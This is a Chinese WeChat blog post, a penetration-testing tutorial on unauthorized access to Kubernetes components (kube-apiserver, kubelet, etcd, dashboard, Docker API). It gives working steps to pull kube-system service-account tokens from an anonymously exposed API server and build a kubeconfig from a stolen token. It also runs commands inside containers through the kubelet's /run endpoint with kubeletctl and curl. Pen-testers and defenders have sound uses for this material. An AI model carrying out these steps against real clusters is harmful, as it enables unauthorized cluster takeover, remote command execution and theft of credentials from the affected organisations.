原创 君行路 信安文摘
微信号 share-for-life
功能介绍 信息安全路上的一点笔记
__
收录于话题
#安全记录 36 个
#云原生渗透 19 个
除了容器逃逸问题,未授权问题是目前k8s存在最多的问题,以下是常见的k8s未授权:
kube-apiserver :
6443,8080
未授权访问获取kube-system的token,通过kubectl使用kube- system的token获取pod列表。之后可进一步创建pod或控制已有pod进行命令执行等操作。
kubelet :
10250,10255
kubeletctl批量获取pod等信息,尝试获取pod内/var/run/secrets/kubernetes.io/serviceaccoun/的token
etcd :
2379
导出全量etcd配置,获取k8s认证证书等关键信息,进而通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机
dashboard :
30000以上
docker :
2375
Docker daemon默认监听2375端口且未鉴权,我们可以利用API来完成Docker客户端能做的所有事情。
apiserver有两个端口,8080和6443。现在的云服务商提供的容器默认已不存在8080端口,主要问题还是在6443端口上。
正常访问6443端口,会出现以下情况,我们默认访问的角色就是系统给的anonymous。
当把system:anonymous
用户绑定到cluster-admin
的集群角色时,再来访问。即可看到能访问的内容:
访问https://192.168.41.22:6443/api/v1/namespaces/kube-system/secrets/
获取kube- system
命名空间的token
信息:
系统自带的服务账号没啥操作权限,需要寻找运维人员自建的。总之, 有admin就找admin ,没有的话找个 非系统自带账号 或者 尝试default账号 。
拿到了token后,可以在攻击机上安装kubectl工具,然后执行以下命令创建一个test_config,token处填入获取的 token:
touch test_config
kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKEN
kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://192.168.41.22:6443/ --insecure-skip-tls-verify
kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hacker
kubectl --kubeconfig=./test_config config use-context test_context
生成的文件内容为:
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://192.168.41.22:6443/
name: hacked_cluster
contexts:
- context:
cluster: hacked_cluster
user: hacker
name: test_context
current-context: test_context
kind: Config
preferences: {}
users:
- name: hacker
user:
token: ZXlKaGJHY2lPaUpTVXpJMU5TOKEN
通过kubectl加载刚才的config文件执行pod里面的命令:
kubectl --kubeconfig=./test_config get nodes -A
每一个 Worker节点 都有一个kubelet服务,kubelet监听了10250
(kubelet
API),10248
,10255
(readonly API)等端口。
正常情况下访问是没有权限的:
https://192.168.41.23:10250/pods
authentication.anonymous.enabled
配置不当设置为 true 时,允许匿名访问 10250 端口:
访问存在如下回显,就是存在未授权访问:
利用 :
https://github.com/cyberark/kubeletctl/releases
下载kubeletctl工具,执行命令:
./kubeletctl pods -s 192.168.41.23 --port 10250
可以看到pod,namespace,containers。
执行pod里容器的命令:
curl -k https://nodeip:10250/run/$namespace/$POD/$CONTAINERS -d "cmd=ls" --insecure
curl -k https://192.168.41.23:10250/run/default/nginx-f89759699-tct4p/nginx -d "cmd=ls" --insecure
如果是10255端口的未授权而非10250,它是 只读端口 ,无法直接利用在容器中执行命令,但是可以获取环境变量ENV、主进程CMDLINE等信息,里面可能包含密码和秘钥等敏感信息。
https://mp.weixin.qq.com/s/T2QGLlKwjaUByDtGFL94PQ
https://blog.csdn.net/w1590191166/article/details/122028001?spm=1001.2014.3001.5501
预览时标签不可点
收录于话题 #
个
上一篇 下一篇
阅读
分享 收藏
赞 在看
____已同步到看一看写下你的想法
前往“发现”-“看一看”浏览“朋友在看”
前往看一看
看一看入口已关闭
在“设置”-“通用”-“发现页管理”打开“看一看”入口
我知道了
__
已发送
取消 __
发送
【云原生渗透】- k8s的攻击利用面(一)
最多200字,当前共字
__
发送中
写留言
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看